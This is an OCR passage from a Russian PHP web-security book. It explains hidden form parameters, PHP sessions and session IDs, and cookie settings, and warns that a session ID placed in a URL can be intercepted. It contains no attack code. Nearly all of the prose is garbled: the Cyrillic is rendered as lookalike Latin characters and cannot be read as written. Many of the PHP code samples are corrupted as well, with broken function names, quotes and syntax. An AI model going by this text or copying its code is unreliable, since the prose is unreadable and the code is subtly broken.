CTBHTEJIbHO, CKPBITBIM NapaMerpaM J0BepsTh He CTOMUT, MOTOMY YTO M3MEHHUTDH MX
o4eHb sierko. JocTaToyHo TONBKO coxpaHuTh Web-ctpaHumy Ha cBoeM HHcke,
MOAKOPPEKTUPOBATL NOJIE action, YTOOLI OHO MPABWJIBHO YKA3KIBANO HA CLEHA-
puii cepsepd, M, H3MEHUB MapaMeTp, BLIIONHHTL ero.
Xotsi MblL TAK HETaTHBHO HAaYalH PACCMOTPEHUE CKPBITHIX MapaMerpoB, UX MC-
Moib30BaTh MOXHO, MPOCTO HENb3S MM [OBEpATh, MOSTOMY Aapaiite obCcyauM,
Kak ybupaTs napaMmerphl ¢ a3 nonoif or 1o6ponopsaoYHbLIX nojib3oBarencii u
HaYMHAIOWMX Xakepos. [leficTBUTEIBHO, MHOTIA HYXHO NEpeIaTh OT CTPAHMILIBI
K CTPaHHLE KaKYIO-TO CIyxeOHYI0 HHAOPMALIMIO U HE XOYETCs MCIONb30BaTh VIS
sroro cookie. B 9TuX cnydasx coanalorT HeBUAWMBIH MapamMeTp W 9TO MOXHO cie-
NaTh HECKONbKUMHU criocobaMu, KOTOpHIE HaM NpEICTOMT CeHyac pacCMOTPeTh.
TepBbiit ME€TON — cO3aTH 10/I€ BBOJA THNA hidden:
<form action="param.php" method="post">

<input name="UseriName">

<input type="hidden" name="HiddenParam" value="00000">
</ form>

IMons BROAA, ¥ KOTOPHEIX B Napamerpe type YKA3aHO hidden, He Byayr orobpa-
xarbest. Ho B pansoM ciaygae cuenapuit param.php, koropomy $opma nepenaer
JaHHbIE, YBHIOWT NMEPEMEHHYI0 $HiddenParam, CONEPKALLYIO NATH HYIEH.
Crenylomuil TpUMep NMOKASEIBAET, KAK CIAEIATH TO XK€ CamMoe, HO HAMHOIO TPOLLIe:
<form action="param.php?HiddenParam=00000" method="post">

' <input name="UserName">

</ form>

Kakoii 13 cnocoGos BhiGepere Bbl, 3aBUCHT OT JIMIHLIX npeanourexnii. A crapa-
J0Ch HE MCTONB30BATH HU ONMH M3 HMX, A JloBepaThCA (aitnam cookie wiu xpa-
HUTh MAPAMeTPhl HA cepBepe, YTO HEMHOIO CIOXHEee, HO NpH MPaBUILHOM MOI-
Xone ropasao Gesonacree u paGoraer B moboM cydae, Jaxe eciy NOAL3OBATEND
oTKIIOYKT y cebst B Gpaysepe nmofnepxky (aiinos cookie.

2.13. Xpaﬂénne napameTpos nonhéoaa'rem

Mporokon HTTP He moauepxuBaerT IUTMTENBHLIX coemuHenuii. i nonyseHus
Kaxroro paiia crpanuusl (cuenapus, pucynka, Flash-anumauyuu u T.o1) or-
KphbiBaeTcs Hopoe coenwHenue. Takum obpasoMm, cepsep HE MOXET KOHTPOIUPO-
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BaTh, YTO CLICHAPWIl N KapTHHKY 3anpoCcH/ OIUH M TOT Xe MOAL30BaTe b, MOTOMY
YTO JUIS Hero 910 BYRYT pasHble COSAMHEHHS.

IMepexonsl Mexmy CTpaHMLAMM TAKXKE CO3NAIOT HOBBIE COGMMHEHWSI C CEPBEPOM,
MO3TOMY CTPAHWIILI HE MOTYT OBITh CBS3AHEL Mexay coboil U MMeTh obUMX napa-
merpos. UToBwl COXpaHHTL 3HAYEHHS NAPAMETPOB MPH MEPEXo/ie OT CTPAHMLIL
K CTpaHuie caiTa, MOXHO HCIOJB30BaTh TPH BapHaHTa:

O cookie — dailbl, KOTOPLIE XPAHATCS HA KOMIbIOTEpE Kinenta. OHH MoryT
OBITE:

® BpeMEHHBIMH — XpaHATCH B MAMATH KOMMbLIOTEPA KIMEHTA B TEMEHHE On-
peAc/iEeHHOrO COe/IHHEHUA C CEPBEPOM,

® [OCTOSHHBIMH — XPaHATCHA HA JKECTKOM AMCKe MOAb30BATEs [0 YKa3aH-
HOrO Nepuoia;
O ceancsl;

O coberBeHHble peaIN3ailiy COEMHEHHUI, NMPU KOTOPBIX HeoOXoAMMbIE napa-
METPbl COXPAHAIOTCA B onpeneneHHon Tabmuue 6a3sl MaHHBIX M NPHBA3LIBA-
I0TCH K KIIHEHTY.

Ipu nepexone or crpaHuiil K CTpanuue Heobxomumo "TaHyTH" 32 coboit mapa-
METPhI MOJL3OBATENS, NOTOMY YTO ABTOMATHYECKHM OHM HUTNE HE COXPaHAITCSH.
Honyerdum, 4TO HA BalleM calTe €CThb BO3MOXHOCTL JIMHAMHYECKON CMEHBL AK-
saiiHa, Ha onxoii ctpaHnue nocerutensb caiita BeiGpal onpeieNeHHyI0 UBETOBYIO
cxemy. Teneps npu 3arpyske mo6oil cTpaHuilsl ¢ Bawiero cafita Ao/mKHA HCHONL-
30BATLCA TA XK€ LIBETOBAs CXeMa, & 3IHAYMT, OT CTPAHMIBI K CTPAHHLE HYKHO fe-
PEnaBaTh HOMEP WJIW HA3BAHHE CXEMBI.

He momewana Gl BO3MOXHOCTE NONTOBPEMEHHOTO XPAHEHHs, Ha ciayuaif, eciu
NoJB30BaTeh BEPHETCA HA CANT uepe3 Kakoe-To Bpemsi. IIpusitHo Gyner yBumers,
YTO BCE HACTPOHKH COXPAHW/IMCH M HE HAJl0 CHOBA HACTpaMBarh CaiT.

[Mpexzue yeM 3HAKOMMTBCS cO criocofaMu peansauny XpaHeHus JaHHbIX, Heob-
XOAMMO ONMPEAS/INTLCA, Ul Yero U KaKue JanHbie Mbl XpauuM. Tyt aydiue Bcero
WX pasgeNuTh Mo AOATOCPOYHOCTH XPAHEHHA W 110 BAXKHOCTH!

0O nepeMeHHbIE, KOTOPBIE HYXHO XPAHHTH, MOKA MOAb30BATENb HE YKAKET HHOTO
aHayeHud. K TaKMM MOXHO OTHECTH HACTPOMKM caiTa, mapaMerpbl KOP3uHAI
MOKYNOK B WHTEPHET-MarasuHax u 1. 1. Takue JaHHbLIC HYXKXHO COXpAHATDH [a-
Xe Tocie TOro, Kak rno/is3osartenh 3akoHynn pabory Ha caifte W BepHylca wHa
HEro 4epes3 onpejeneHHoe BpeMs;

0O nauHble ONMpeNeNeHHOTo ceaHca. ApKUM NMpHMepoM SIBMSIETCA MMA TOJIB30BA-
Tenst. Ecim Ha caiite ecTh ABTOPH3allMsl W ITOJIB3OBATENL BBEJl CBOE MMS, TO
MpH Nepexolie MEexuly cTpaHnLaMHi MMS I0JDKHO, coxpansaTeesa. Ho ecnn mons-
3oBarenb 3aKoH4YWn pabory ¢ cailtoMm (3akpeut Gpay3ep) W 4Yepes Kakoe-To
BpeMsi BEpHYJICS Ha HEro, aBTOPM3AlMA NOJDKHA NMPOMCXOMHThL 3aHOBO, YTO-
ObI xakep He CMOT TOAENATh MAPAMETPLI CEAHCA U BOCTIONIBIOBATECH MYKUM
aKKayHTOM.
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Ina KpaTKOBPEMEHHOIO XPAHeHHS NaHHBIX JIYMILE BCEro MOMXOMST CEaHcoBble
nepemMeHHBie, a Ui J0roBpeMEHHOro XpaHEeHUST HACTPOEK KIHEHTA MOXHO HC-

2.13.1. CeaHchbl

PaccMotpiM mapamertps Ha rrpm&épe caiira ¢ ampmmnen Korna nons3osa-
TEb BBOAMT CBOE MMS, JO/DKeH HAYMHATHCS ceaHe. Teneph MBI MOXEM HCIONb-
30BaTh CeaHcoBLle nepemeHHsie. [ 3amycka ceaHca MCMONL3yeTCs PYHKUMS
session.start (). Ecnu Q:ynxmm BBINOMAHHNACH YHAYHO, TO pe@ymmu Oyner
true, HHA4Ye false.

Teneps HeoGxomumo coobumts HTepnperatopy PHP, kakne nepeMeHHbe HYXHO
coxpaHsTh B ceaHce. Ui aToro uenonassyercest (BYHKIMS session_register(), Ko-
Topoil B KayecTBe napamerpa rnepenaercs umsi nepemeHHoil. Ilocne sroro Bce
[epeMeHHble, KOTOPLIE BBl MTOMECTHIIM B ceaHc, OyayT JOCTYNHBLL CO BCEX eTpa-
HHUII BaIIETO caifTa B TeYeHUe BCEro ceaHca,

Paccmorpim npumep cearica. [l aroro cosnamum ¢aitn session.php, B koTopom
Gyzer ¢opMa Ui BBONA MMEHM MONBL3OBATENSL, 4 ST0 WMs OyleT COXpaHAThCs
B CeaHCOBOI fepemMentoil (tueTuur 2.17).

(?php 4o

if {:‘aeas_icn_start 0

{

print ("OK*} ;

) .
$user—$Uam;‘NmB;
sass:.mlstﬂr ("usex”);

2>

<form action="session.php" method="get">

M nomesoBaTeNs: <input name="UserName'>

<input type="submit" name="sub" value="Go"> ‘

</form> LE) iy | 'y i 5

<a href="sessionl.php">This is a link</a>

O6parure suumanue, wro PHP-kon pacnonoxex B camoMm Havaie. 310 BAXHO.
Yrobbl He Gbuo mpobrem, Koj perncTpauy nepeMeHHOI MOIKeH CTOATh B ca-
MOM Hadane, 1o Kakux-am6o HTML-teros. A kakue MOTYT BOSHUKHYTH npoGnems?
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Ecnu nmo cosmanusi ceawca Oymer warm HTML-kon, To BosHuKHer owumnbka,
M nepemeHHas He Oyuer coanaxa. ;

@opma 115 BBOJA MMEHH TMONB30BaTeNs nepexaer AanHbe camoit cebe. IMpocro
HE XOUeTcs YCIOXKHATH 3alady ¥ CO3AABaTh NMiHKe daiisl.

PHP-xox cossaer ceanc, # eciu Bee IMPOHIIO y1aYyHO, TO HA (HOPMY BHIBOXHTEH
coobienne OK. Tlocie sToro cosfaercs nepeMeHHas Suser, B KOTOPYIO KOMUpY-
eTcsl UMsl, BBENGHHOE MO/Ib3OBATENIeM, XpaHsiieecss B [MOBAIBHON NepeMeHHoik
$UserName. "

Ha dopme Taioke ecﬂa CCBUIKA HA m cuenapus sessionl.php. IMpu nepexone
Mo 3TOH cchUlKe OYOET BBINONHATHECH CLEHAPHIH, B KOTOPOM MBI obpatumes K ce-
aHcoBolt mepemeHHoOM. B atom daiine Gyaer crenyoumii kom:

<?php

session_start()s

print ("<P>3npascreyiite: Suser");
7>

B nepsoii cTpouKe MBI 3amycKaeM CEAHC, W B 3TOT MOMEHT uHTepnperatop PHP
onpenensier uaeHTHMUKATOp ceanca, Bo BTOPOi CTPOYKE MBI BBIBOZHM HA IKpaH
COIEPKUMOE NepeMEeHHON $user.

3anycture B Gpaysepe aitn cuenapus session.php. Beenure ums noapaosaress u
HakMuTe kHonky OK. B aror momeHT cearcosoit nepemMeHHolH OyaeT nmpucBoeHo
snavenue. Temeps mepeitauTe no cchUike M yGenmrech, yro Gaiin sessionl.php
orobpaxaeT BBelCHHOE MMs. XOTH Mbl HE MepelaBaTM BMECTE CO CChUIKOi 3Ha-
YeHHEe NnepeMeHHoit, cueHapuii sessionl.php BuauT 310 MM ¥ oToGpaxaeT ero Ha
9KpaHe.

Cearcosbie nepeMEeHHBIE aBTOMATHYECKH COXpaHsloTesi WHTepnperatopoM PHP,
M HAM He HYXHO HH O yeM 3aborutshesi. Ho kak nosro paHHsie GyIyT coxXpaHsTe-
cs? TlpoBepuTh MOCTATOYHO TIPOCTO — 3akpoiite Opaysep M CHOBA 3arpysmre
¢aiin sessionl.php. Ha aror pa3 uMeHM nonbsoparens Her. Xots BpeMeHH npo-
LIUI0O HEMHOIO, HO CEAHC M3MEHWIICH, W TEMEph NepeMeHHas nycra. 910 3HAYMT,
YTO P KAKIOM 3aITyCKe cO3/aeTcsi HOBLIN ceaHcC.

Henocrarok daiina sessionl.php — HeT MpoBepKH, YCTAHOBIEHA NI TEPEMEHHAN.
Masaiite MoaMpHUMpPYEM KO, KaK NOKAa3aHo B ancTHHTE 2,18,

<?php
session_start();
>

<HTML>
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<HEAD:>
<TITLE> Test page </TITLE>
</HEAD>

<BODY>

<?php
if (lisset(Suser))
{
die(“Tpebyerca asropmsaia");
1}
print("<P>Hello: Suser");
>

<hr>

<center>

<p>Hackish PHP

<br>&copy; Michael Flenov 2005
</center><PpP>

< /BODY>

<HTML>

B 3rom npumepe BHAHO, YTO ceaHC Co3nAeTcs B caMoM Hauane aiina. Kon npo-
BEPKH W WMCMOMBIOBAHHS CEAHCOBON MEPEMEHHOI HAXOmMTCS YK€ B CEpeinHe
daitna cuenapus. [is NpoBepKH, YCTAHOB/IEHA M TEPEMEHHAsA, § HCTONB30BAI
QyHKLUMIO isset (). Ecnm nepemenHas Suser He cyluecTsyer st (paiina cuera-
pusl, TO QYHKUMA BepHeT £alse, TIpn nposepke MBI yKasanu CHMBOJ OTpHUAHMS
(BocKyHUATENBHBI 3HAK), 4 3HAYMT, €CIH NIEPEMEHHAN HE CYLIECTBYET, TO BbI30-
perca QYHKIUMS die() ¢ coOOUIEHHEM O HEOOXOAMMOCTH ABTOPUSALIMM HA caifre.

OueHb BAXHO MOHHMATH, YTO MEpPeMEHHbIE CO3AAIOTCS, TONBLKO eclii B KOH(DHUIY-
paunoHHoM daiiie php.ini AIMpeKTHBA register_globals YCTAaHOBIEHA B 3HAueE-

HHe on. B nporusHOM ciryvae, He yAaCTCs MCITONb30BATH [IepeMeHHBIE, HO MOXHO
ofparnTbesi K MaccuBy $_SESSION. Torna xoj cosfanusi CeaHcoBoil nepeMeHHoN

Oyner BHITVISAETH wwwmm obpasom:

<?php
if (session_start())
{
print("OK") ;
}
$_SESSION(["user"] = §UserName;
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7>

<form action="session2.php" method="get">
User Name: <input name="UserName">

<input type="submit" name="sub" value="Go">
</ form>

<a href="session3.php">This is a link</a>

Jist TeCTHPOBAHKS IPUMEpPA COXpaHUTe 3TOT Koa B (aiine session2.php.
Yrobel BOCTIONB30BATECA MEpeMeHHOM, cosmanum (aitn session3.php co cienyio-
ILHM CONEePKHUMBIM:
<?php
if (tisset($_SESSION["user"]))
(
die({"Authorization required");

}

$t = S_SESSION(["user®];

print ("<P>Hello: $t");
2>

Orkyna wnrepmperarop PHP 3uaer, yro ceiiuac muer onpeaeieHHbil ceac
W YTO nocie 3aKpbiTHa Gpaysepa ceaHc 3apepuuaercsi? ¥V Kaxaoro ceaHca ecrtb
ceoif unentrudukarop SID (Session ID). [Nocne 3anycka cearica 3TOT MIEHTHpU-
KaTtop coxpaHsiercsi B cookie, 1 Kaxias nocieayioias CTpaHWUA Tocie BhINoa-
HeHus QYHKIMKU session_start() Haxomut stor SID M yepes Hero moayuaer
JlOCTY(l K CEAHCOBLIM MapaMeTpaM.

Bee xopouio, HO HeKOTOphIe NMONBIOBATENN OTKIIOYAIOT cookie u3-3a 6OA3HH, YTO
caifThl coGMpaIOT KaKyio-To HHGOpMAaLMIo o monb3osarensx. S cuuraio, wro 3T0
napanoiis. Hy, y3HaeT paspaBorTauk cailta, Kakue s CTPAHUIB! OCMOTPEN, HY H
yto? OH ¥ TAK y3HAET, MOTOMY YTO CEAHCH MOXHO peanusosarh M Ge3 cookie.
Wnentnduxarop SID coanaercsi B mobomM ciyyae, H €ro MOXHO TepeaaBars 110~
Ooii cTpanule Yepe3 napaMeTpsl POST MM GET, a BCE NMEPEMEHHBIE XPAHMTEL Ha
ceppepe B Gase NaHHbBIX, B KOTOPOH Nojib3oBatenb Oyner HMACHTH(OUIHPOBATHCS
no SID. WurepHer noctpoeH Ha OTKPHITHIX CTAHIAPTAX, & 9TO M €CTh OCHOBHAA
npobsiemMa. Henbasi 3a1MTHTECS OT OTKPBHITOro, a4 OTKIIOYeHHe yrobcTs He nomo-
XKET PeUIuTs npobiemy.

3anycrure cpaitn session.php u BBeguTe Mma mons3osarens. [locMmoTpuTe Ha
crpoky URL-anpeca, ona H3MEHUAACH Ha:

hitp://192.168.77.1/1/session2.php? PHPSESSID=
8a22009172339¢71525288b33188703d& UserName=Tet



Ociosb PHP 89

B URL ects napamerp PHPSESSID, mpbﬂl KaK pas w ABASETCs ﬂnemmbﬁxam—
pom SID,

Unenmudukarop moxro pobasurs k URL sisabiv obpasom. B enenyromem npu-
MEpe B Kauecrse anpeca, Ha KOTOPLUH nepexalorest AanHble (HOPMBL, yKasaH
session2.php?<?=SID?>!

<form action="session2,.php?<?=S1D?>" method="geL">

User Name: <input name="UserName">

<input. types"submit® name="sub" value="Go">

</ Eorm>

Konctpykums <z=s1D7> SBASETCA YKA3aHHEM HA TO, lr-.-o HYKHO noﬁamm. B URL
mientHpirkarop SID.

Ec/iii BBl PElifN peann3osarh CEaHcOBLIE nepe mrHe Be3 uCnoNbIOBAHMS
cookie, TO Bbl AOMKHEI YSHTHIBATH, 4TO ‘oTob Jite uneﬂmq:mmpa 8 URL
OANEKO HE Ge:«maeno. Ecu xakep yanm SID ommoro u3 moas3osarenei, To ox
cMOXeT nepemﬁ ceanc Ha, 3anoMHNTs SID BO3MOXHO TOJIBKO TEOpETHYe-
CKHit 4eOBeK He CymeeT GBICTPO 3aNOMHHTH Takoe Ko-
mecﬂm HE mwmux empicna 6yks u uncdp. Ho 910 He 3HAYMT, 4TO Bbl
B . Tepexsar uaeHTHOUKATOPA MOXKHO CAENATH W NPOrPAMMHO.
Tposmcxaa nporpmna MOXKET BEUICTUTH HyXKHyio wacts win secs URL-anpec u
MEpPeaars ero no ceru SMOYMBILUIEHHUKY .

JlonycTim, 4TO HA palleM caiire ecTh daopym B KOTOPOM OIpeIeIeHHBIEe 030~
BaTENM MOCHe ABTOPH3AUMM TOMYHAIOT BOIMOXKHOCTE PAaboThl € CUCHAPHUAMH
ynpassenusi Gopymom. Anmunmctparop, soiins ua dopym, nonysaer SID, u no
HEMY CHCTEMA BBUIEISIET AIMUHMCTPATOPA CPely BCEX OCTANbHBIX. Ecin Xakep
CMOT TepexXBaTHTh HACHTH(HHUKATOP, TO OH TAKKE MOXKET MOIYYHTH MPABa AAMHHH-
CTparopa, a 3T0 YKe TPO3UT ToTepeil KoHTpois Hax (PopymoM, a MOKET ObiTb,
U Han BeeM caiiToM. Xyxe Oyaer, eciy Xakep CMOXET MepexsaTuTh ceaHc, B Ko-
TOpPOM MoJib3oBarent paGoraeT co cBoell KpeAMTHOH Kaproukoi (Hanpimep,
cedHC B IEKTPOHHOM MarasuHe), M COGMHeHHE TPH 3TOM rrpouc:wmw Ge3
wudpoBaHus Tpaduka.

Takum obpasos, cookie Hnmmmueemomm a4 SHAYWT, W s
nons3osareneit. Iyers ¢pupmsr Moryr onpenenurs, rae mbl nobesann 8 Wartep-
HeTe, HO 3aT0 XaKepam OylIeT cIoXHee fepexBaTnTh HAIN 3aKpPBITHIE CeaHC .
Yro0sr nonb3osatenu we Gomnmcs haiios cookie Ha Balem cafite, obA3aATENLHO
pasbscHHTE MM, 4TO cookie HeoGxoauMBl sl obecneveHust ux TuuHOi Gesonac-

HOCTH W HE HCTIONL3YIOTEH B KOPBICTHLIX LENAX, HANpHMep, meﬁammtbep
MAUMK U T. L

2.13.2. Cookie

B pasdese 2.13.1 MBI IOCTATOMHO MHOTO yXe rosopunn 06 atux daiinax, Ho moxa
He yCTAHABAMBANM MX BPY4HYl0. Bee asromarudeckil BHUIONHI MHTEPNPETATOpP

4 3ax. 1315
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PHP mns noppepxku ceancop. Ho dadins cookie MOryT npuroauTses He TOABKO
JUIsL CeaHcoB, MoaTOMYy napalite ux paccMoTpuM Gonee noapobHO.

Cookie, KaK MUHUMYM, JO/UKEH COCTOSATH M3 MMEHM Nnapamerpa, KOTOPHI HyXHO
ycranoButh. Ho MoXer ob6ranars ¥ J0NONHHTENILHEIMH CBOMCTBAMM.

O 3uHavyeHne mapamerpa.

O Mara ucTeyeHHA cpoka roaHoctw. Ecau sTorT mapameTp He 3amaH, To cookie
Gyner ynaned cpasy nocne 3akpbitus Opaysepd. Ecow nara 3amana, To napa-
METPBl M 3HadveHusi OYAyT MOCTYMHBI CLEHAPHIO 10 MCTeYeHUsl YKAa3aHHOoTro
ppemenu. [locie atoro knweHT He OyloeT HAMPABAATH CEpBEpY YyCTApeBIIWii
daiin cookie.

O Ilyre, KOoTOpel# onpenelser, B KAKOH 4acTy JOMEHA MOXET MWCIOJIb30BaThCs
nauHeii daitn cookie. Tyr ecTh OaMH OYeHb MHTEpecHLIH Hioanc. JonycTuM,
4TO y Bac ecth caiit www.hostname.com/myname. Eciin B kayecTse nyTH ykasaTh
/myname, TO AOCTYN K napamerpaM cookie GyayT MMETh TOILKO CLEHAPHHM 3TOIO
karanora. Ho ecnu B koHue noGasute casw (/myname/), To ¢ cookie emo-
ryr pabotarh ¥ NOAKATANOrH, Hanpumep, www.hostname.com/myname/admin/.
MoxHo orpaHuuNTh NOCTYN TOJABKO ONpeneieHHbIM clieHapuem. [Uisi 3Toro
B KavyecTse TIYTH HYXHO yKasaTh nyth K (haiiay cueHapus, HANPUMED,
/myname/index.php. Hy, a ecim npocro ykasars ¢/Isul, TO ZOcTyn K cookie
BynyT umers abcomoTHO Bee. 10 YMOMYAHNIO HCTIONB3YETCA TEKYIUMH KaTaior
cueHapus, KOTOpblif ycraHasmaBaeT cookie.

O JloMeH No3BoJsieT yKasarh, KAKMHe JOMEHbI MOIYT MCHONbL30BaTh MHGpOpMALMIO
u3 dadina cookie. Hanpumep, BrosHe norudHeIM OYAET paspeliuTh AOCTYI
TOJIBKO CLEHAPUAM, PACHONOKEHHBIM B goMeHe www.hostname.com/. Ecau y
BALIEro CaiTa ecTh HECKONBKO MeesnoHUMOoB (Harpumep, www l.hostname.com
win flenov.hostname.com, To B KayecTse MMEHH JHOMEHA MOXHO ykaszarsh host-
name.com, 4yTo0Bl Bee caiiTel B gomeHe hostname.com Morim yBuaers cookie.
Mo ymomyqaHuio GyseT HCMONb30BATHCS NOMEH CepBepa, KOTOPBIH YCTAHOBMI
cookie.

O MNocnenxnit napamerp NO3BOJSAET YKA3ATH, YTO JAHHbLIE cookie NOMKHBLI nepe-
nasarhest TOALKO yepes GesonmacHoe coenunenne HTTPS. Yepes orkpermsiil
nporokon (6e3 wudposanns) HTTP ¢aiin He moxer 6uiTh nepenan. Ilo ymon-
vyauuio ucnonssoganne HTTP paspemeno.

S He 3ps paceMarpuBaN 3TH CBOJCTBA MMEHHO B TAKOM MOPSAKE, MOTOMY 4TO

MMEHHO B 3TOM MOPSUIKE YKA3KLIBAIOTES COOTBETCTBYIOLNE MApAMETph! MpH CO3-

mavuu cookie. Wrak, wist cosganust uconb3yercs (PYHKIMSI setcookie(), KOTO-

pasi B oOLUEM BHIE BEIPISMT CAEAYIOLMM 00pasoM:

int setcookie(

string cookiename
[, string value]
[, integer lifetime]
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[, string path]

[, string domain]

[, integer secure]
)

[TocmoTpuTe Ha napamerpsl. [TepBeiil — 3T0 UM NepeMeHHOI, KOTOPYIO HYXKHO
sanucars B cookie, 1 oH gBuseTcs 06asareNbHbIM, OcTanbHbe napamMerpsl Heobs-
3aTeJIbHBI:

0O value — 3HAYEHHE MEPEMEHHOIN;
O lifetime — BpeMs XWU3HH;

O path — MNyTh;

0 domain — HOMEH;

(0 secure — napamerp ﬁeaonacuocm Mo yMONMYaHHIO PaBeH HyMO, HO €ciu
YCTAHOBUTE 1, TO 110 oTkphiromy nporokony HTTP nepenaua daitna Gyaer 3a-
npelleHa.

Bce 210 MBI YK€ paccMOTPEH, ¥ Tenepb HaM NPEACTOUT MO3HAKOMUTBCS ¢ npak-
THYECKON 4acThio yctaHoBkH cookie u paborer ¢ Humu. Pabory c cookie nyuiue
BCETO PEaTH3OBLIBATH B CAMOM Hauaie Gaiina cuenapusi. UMEHHO K3-3a BO3MOX-
HBIX npot‘meu ¢ cookie, CLieHapH# Mbl TAKOKe Peali30BLIBATH B CAMOM Hadae.

Eciu 1o PHP-kona, ycranasausaioutero cookie, 6yner npucyrcrsosars HTML-
KOJI, TO HA CTPAHMLIE MOXET NOsIBUTHCS coobuwienue o6 omnbke npuMepHoO cre-
RYIOLIEro Bua:

Warning: Cannot add header information - headers already sent by (output started at
/var/www/html/ 1/cookie.php:8) in /var/www/htmi/ I/cookie.php on line 11
Brumanue: He mozy dobacums ungopmauuio 3a20108Kka = 3020106KI Yice omnpasie-
nol (661600 Hawam ¢ svar/www/himl/1/cookie.php:8) e /‘var/www/hm{(l/wekie php
& cmpoxe 11, )

Yrobel He CTONKHYTBCA ¢ TAKOH oluubKoii, Beerad MUIINTE KOA HCHOMB30OBAHUS
cedaHca M YyCTAHOBKM cookie B camom Hauane, no HTML-kona u 40 NoaKaoueHns
chaitnoB ¢ NMOMOILBIO require AN include, rae Takke moxer 6site HTML-kon,
M3-3a KOTOPOro fpousoiiaer ommnbka coxpaHeHHA NMapaMeTpoB Ha JUcKe Moib30-
BaTens.

Hrak, g npuMepa HanuiueMm cuUeHapuit, xoropsiii Gym oTobpaxars Ha crpa-
HULIE KOJMYECTBO €€ MPOCMOTPOB KOHKPETHBIM [ojb3oBareieM. s 3Toro
Y MOAB30OBATENS HA KOMMBIOTEPE B cookie HY)XHO COXPAHWTH HEJIOUMCIACHHYIO fie-
PEMEHHYIO, 3HAYEHHE KOTOpPOW OyleT yBeAMYWBATHCH HA EAMHMIY C KAXKIBIM
NPOCMOTPOM.
B camom Havane cUEeHapHs 3aBOAMM TEePeMEHHYIO!
<?php

Saccess++;
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setcookie("access", $access);

>

B nepBoii cTpoyKe 3HAYEHHE NEPEMEHHON Saccess YBEIMUMBAETCA HA CAWHMLY.
Ecnu nepeMeHHas He CyllecTBOBana, TO €e 3HAYEHWE YBESHUYMTCH C HYJEBOro
Ha 1. Bo Bropoii crpovke Mbl coXpaHsem 3HayeHHe TiepeMenHoili B daiine cookie,
B HTML-xoae npocro BHIBOANM HA CTPAHMILY cOOBUIEHHE:

<?php
prinkt ("Bel sMpuTe 2Ty crpauuuy Saccess pas');
7>

3anycrure cueHapuil  obHOBHTe CTPAHMIY HeCKONBEKO pa3. Cuerumk Gyper yse-
nuumnBarbes. Kak sro npoucxonut? Kakasit pas, Korna ssl obHOB/IsSETE CTpani-
iy, Gpaysep KIMEHTa BHIMT, 4TO JUIA AaHHON cTpaHMubl ecTh daitn cookie, u or-
npasisier ero cepsepy. Murepnperarop PHP cosnaer PHP-nepementbie ¢ Takum
K€ MMeHeM, KaK y nepemeHHoii cookie, u Bb Moxere paGorars ¢ HUMH B (aiine
CLIEHAPUSI,

Ecmm 3akpuiTh CTPaHMUY M 3arpy3dTh €€ 3aHOBO, TO cdeTdHK Oymer cOpouieH.
Maitn cookie He COHEPXUT CPOKA XpaHEHHs, MOITOMY OH GbuUt yaaneH nocne 3a-
KpbiTHs Opaysepa, Y1oBel 5TOro HE NMPOM3OLLIO, B TPETHEM MApaMerTpe HYKHO
ykasath BpeMms aeficrsus cookie. /U1 9Toro vauie BCEro MCronb3yioT OIHH W3
[IByX criocobos: '

O ecau mapaMmeTp AOMKEH XPAHUTHCH KPATKOBPEMEHHO, TO MOXHO HCIONB30BATS
(yHKumMIO time(), KOTOpasa BO3BpAllaeT TeKyllee Bpems B cekyHmaax. K sromy
BpEMEHHM NMpHOABAAEM KONMYECTBO CEKYHH, B TEUEHME KOTOPOro HYXKHO Xpa-
HuTe napamerp. Hanpmmep, napamerp no/okeH ObiTh HOCTYNEH B Tedg¢HME
10 MUHYT TOCHE 3arpy3KH CTpaHHILL DTO MOXHO PeaIH30BaTh Mepexaseit
B'K2YecTBE TPeThero napamerpa GpyHKUMH setcookie() SHAYSHWA time () +600.
Takoe KpaTKOBpeMeHHOE XpPaHEeHUE MapaMeTpoB UCMOJb3yeTcs B Cy4asx pa-
Gotel B obracTax, Tpebyowux asropusaumn. Ecan B tTeuenwe 10 munyr He
OBLIO AKTHBHOCTH, TO cookie YAAISETCS ¥ MOABIOBATENI0 HEOBXOANMO 3aHOBO
[IPOXOATE ABTOPH3IALIHIO;

0 s AOATOBPEMEHHONO XpaHeHUs MapaMeTpoB MOXHO YKa3aTb NOCTATOMHO
GoNbILYIO AaTy ¢ MOMOILBID (GYHKUMH mktime (). Droit GyHKUMHK nepemaeTcs
6 mapaMeTpoB, OTpPENe/SIONMX BPeMsi KOHIA JelfcTus cookie: YACK!, MUHYTHI,
CeKyHIb!, Mecsl, Yucno, rof. ObparuTe BHUMAHWE, YTO MECsll MAET paHbile
Jarel. B HEKOTOPBIX cTpaHax Henosbayercs apyro# gopmar, tie cHavana muer
nara, a MoToM yxe Mecsl.

Crepyiounit npumep 3amaer spems aeiictBust cookie mo 00:00:00 1 ssaps
2010 rona:

setcookie("access", Saccess, mktime(0,0,0,1,1,2010));

)
51 1ymMalo, 4TO 3TOTO YKMCENa JOCTATOMHO s JrioGoro caifra.
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Hapaitte BcrioMHuM, 1ns vero HyxeH cearc? OH NO3BOISET COXPAHUTD HepeMeH-
Heie, YToOL OHM OBUIH JOCTYIIHB! NPH NEPExXoAe OT CTPAHMIL! K CTPaHKIE, W Ui
aToro ucnoassylorcs ¢aiins cookie. A reneps nmoaymaiite, Kak aro peanusyercs?
Herpyiro soragarscs, 4To ceaHe NPoeTo coanaer (aitabl cookie ¢ HyKHBIMH Me-
pemeHHblMH W yCTaHABIHBAET UM 1Ba cnoﬁcma

] apcua AeiicTBUS OcTaeTcs nym 4yToOLl NApAMETPbl YHUUTOXAMMCH Noche
3aKpbITHS Opaysepa;

(3 nyTs M AOMEH YCTAHABNMBAIOTCS TAK, YTODE! dmibx cookie GhUT IOCTYIEH BCEM
cTpaHuLaM caira.

Bor u Beck ceanc,

HWurepnperarop PHP moxer Opith HactpoeH Tak, uro. nepeMeHHble A napamer-
poB cookie He Gyayr cosnasarbes, B 91oM cayvae MOXHO HCIONB30BATH MACCHB
$HTTP_COOKIE_VARS. Hanpumep, SHTTP_COOKIE VARS[“access"] BEpPHET 3Haue-
HHE MEePeMEHHON $access. BMmecto sHTTE _COOKIE_VARS JIONYCTUMO YKasaTh
ncenno#mu 9TOr0 MACCHBA: § coom‘.

anmmnﬂ KO/l paapemae‘r mcryn K cookie TOIbKO CHEHApUSM M3 KaTtamora
admin Ha cepsepe mydomain.com, T. e. cuenapuam ¢ URL http://mydomain.com/
admin u Gonee HUIKOTO yPOBHS:
setcookie("access", S$access, Jmkl:'i.t;ne{ﬂ,o.o,l. 1,2010),

"/admin", “mydemain.com");

